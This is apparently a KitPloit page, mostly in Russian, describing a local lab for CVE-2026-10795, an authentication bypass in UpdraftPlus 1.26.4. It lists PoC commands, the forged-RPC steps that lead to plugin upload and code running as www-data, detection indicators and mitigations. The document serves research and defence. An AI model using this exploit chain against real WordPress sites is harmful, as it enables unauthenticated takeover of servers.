Target : http://127.0.0.1:8082/ Command : plugin.upload_plugin Decision : RPC NOT DISPATCHED HTTP status : 200 Body bytes : 0 RPC JSON seen : False Body prefix : ''

ID endpoint : http://127.0.0.1:8082/wp-json/cve-lab/v1/id Marker active : False HTTP status : 404 Body prefix : '{"code":"rest_no_route","message":"No route was found matching the URL and request method.","data":{"status":404}}'

Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).

root@kitploit:~
## Команды ручной проверки

Проверьте состояние сервиса:```bash
docker compose ps

Проверьте метаданные уязвимого сервиса:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool

root@kitploit:~
Проверить метаданные исправленной службы:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool

Проверьте состояние плагина во время выполнения:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool

root@kitploit:~
Выполнить проверку только с помощью ping:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082

Подтверждение ID запуска:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082

root@kitploit:~
Проверьте конечную точку маркера сразу после запуска PoC:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool

Ожидается:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route

root@kitploit:~
Проверьте установленные плагины внутри уязвимого контейнера:```bash
docker compose exec -T vuln sh -lc \
  'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

Проверьте установленные плагины внутри пропатченного контейнера:```bash docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'

root@kitploit:~
Уязвимый сервис должен содержать маркерный плагин после выполнения PoC. Исправленный сервис — нет.

## Воздействие

Эта лаборатория демонстрирует, что неаутентифицированный злоумышленник может подделать RPC-сообщение UpdraftCentral, которое достигает привилегированной диспетчеризации команд в UpdraftPlus 1.26.4 при наличии подходящего состояния ключа UpdraftCentral.

Продемонстрированное воздействие относится к типу RCE, поскольку поддельная RPC-команда злоупотребляет легитимной функциональностью управления плагинами:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context

Локальное подтверждение показывает выполнение от имени пользователя веб-сервера:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)

root@kitploit:~
Категория уязвимости остаётся обходом аутентификации. Выполнение кода является цепным воздействием через установку привилегированного плагина WordPress.

## Обнаружение и мониторинг

Потенциальные индикаторы включают неаутентифицированные POST-запросы к главной странице WordPress, содержащие поля UpdraftCentral RPC:```text
format
key_name
udrpc_message
signature

Подозрительные характеристики:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request

root@kitploit:~
Индикаторы локальной лаборатории:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)

Идеи для мониторинга в рабочей среде:

  • Проверьте журналы веб-доступа на наличие POST-запросов, содержащих udrpc_message.
  • Настройте оповещения о RPC-запросах с format=1 из ненадёжных источников.
  • Проверьте логи UpdraftPlus и UpdraftCentral, если они доступны.
  • Отслеживайте неожиданные события установки или активации плагинов.
  • Отслеживайте изменения файловой системы в wp-content/plugins.
  • Проверьте учётные записи администраторов и интеграции удалённого управления.
  • Проверьте, не старше ли UpdraftPlus исправленной версии.
  • Удалите устаревшие или неиспользуемые ключи удалённого управления UpdraftCentral.

Меры по смягчению последствий и примечания к обновлению

Обновите UpdraftPlus до версии 1.26.5 или новее.

Исправленная версия отклоняет недействительные расшифрованные симметричные ключи до симметричного расшифрования и отправки команды.

Рекомендуемые шаги по смягчению последствий:

  • Обновите UpdraftPlus.
  • Проверьте, включено ли удалённое управление UpdraftCentral или не было ли оно настроено.
  • Удалите устаревшие ключи UpdraftCentral, если удалённое управление не требуется.
  • Проверьте учётные записи администраторов WordPress.
  • Проверьте установленные плагины на наличие неожиданных дополнений.
  • Проверьте журналы доступа на наличие подозрительных запросов udrpc_message.
  • Смените учётные данные, если предполагается компрометация.
  • Восстановите из заведомо исправных резервных копий, если подтверждена несанкционированная установка плагина.
  • Используйте правило WAF только в качестве временного слоя, а не замены исправлениям.

Самое важное исправление — запустить исправленную версию UpdraftPlus, которая отклоняет недействительные симметричные ключи до расшифрования и отправки.

Очистка

Остановите контейнеры и удалите сети:```bash docker compose down --remove-orphans

root@kitploit:~
Удалите контейнеры, сети и тома:```bash
docker compose down -v --remove-orphans

Удалить виртуальное окружение Python:```bash rm -rf venv

root@kitploit:~
Удалите локальные файлы доказательств, если они были созданы:```bash
rm -rf evidence/

Границы безопасности

Эта лаборатория предназначена только для локального исследования безопасности и контролируемой демонстрации.

Не запускайте PoC против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.

Не используйте в этой лаборатории реальные учетные данные, производственные секреты или внешние цели.

PoC намеренно ограничен локальными сервисами Docker, такими как:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082

root@kitploit:~
По умолчанию PoC отказывается от нелокальных целей.

Плагин-маркер не реализует общий параметр выполнения команды. Он предоставляет только жестко закодированную локальную проверочную конечную точку, выполняющую `/usr/bin/id`.

В этой лабораторной работе не включено:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow

Цель — продемонстрировать одно конкретное техническое условие в контролируемой среде:```text unauthenticated forged RPC

  • vulnerable format=1 validation behavior
  • failed RSA decrypt not rejected
  • predictable symmetric decrypt path
  • privileged UpdraftCentral command dispatch
  • plugin upload and activation
  • patched version blocks before dispatch
root@kitploit:~
## Ссылки

* NVD: CVE-2026-10795
  https://nvd.nist.gov/vuln/detail/CVE-2026-10795

* База данных уязвимостей Wordfence: UpdraftPlus
  https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus

* База данных Patchstack: UpdraftPlus
  https://patchstack.com/database/

* Плагин WordPress.org: UpdraftPlus
  https://wordpress.org/plugins/updraftplus/

* SVN плагина WordPress.org
  https://plugins.svn.wordpress.org/updraftplus/

* Теги SVN плагина WordPress.org
  https://plugins.svn.wordpress.org/updraftplus/tags/

* TeamUpdraft: UpdraftCentral
  https://updraftplus.com/updraftcentral/

* OWASP: Памятка по аутентификации
  https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html

* OWASP: Руководство по тестированию безопасности веб-приложений
  https://owasp.org/www-project-web-security-testing-guide/
Скачать инструмент
Поведение PoCТестируемое поведение источникаОжидаемое в 1.26.4Ожидаемое в 1.26.5
Отправка POST с format=1Приёмник принимает устаревший формат RPCПродолжаетПродолжает до исправленной проверки дешифрования
Пропуск действительной подписиПроверка подписи применяется только для format >= 2Подпись не требуетсяПодпись не требуется для format=1, но позже блокируется
Отправка неверного RSA-блокаRSA-дешифрование возвращает неверный симметричный ключНеверный ключ попадает в setKey()Неверный ключ отклоняется
Шифрование JSON нулевым ключом/нулевым IVМоделирует поведение phpseclib после setKey(false)Дешифруется в валидный JSONНе дешифруется
Установка command=pingТестирует только обход криптографии и диспетчеризациюPING DISPATCHEDPING NOT DISPATCHED
Установка command=plugin.upload_pluginВызывает метод загрузки плагина UpdraftCentralZIP-файл плагина установленКоманда не достигнута
Установка activate=trueЗапускает activate_plugin() после установкиМаркерный плагин активенМаркерный плагин отсутствует
Запрос /wp-json/cve-lab/v1/idПроверяет, выполняется ли код маркерного плагинаВозвращает uid=33(www-data)Возвращает 404 rest_no_route
СервисКомпонентВерсия / Роль
vulnWordPress + UpdraftPlusUpdraftPlus 1.26.4 уязвимая цель
patchedWordPress + UpdraftPlusUpdraftPlus 1.26.5 исправленная цель
vuln_dbMariaDBБаза данных для уязвимой цели
patched_dbMariaDBБаза данных для исправленной цели
vuln_setupWP-CLI setup serviceУстанавливает WordPress, активирует UpdraftPlus, заполняет локальное состояние ключа
patched_setupWP-CLI setup serviceУстанавливает WordPress, активирует UpdraftPlus, заполняет локальное состояние ключа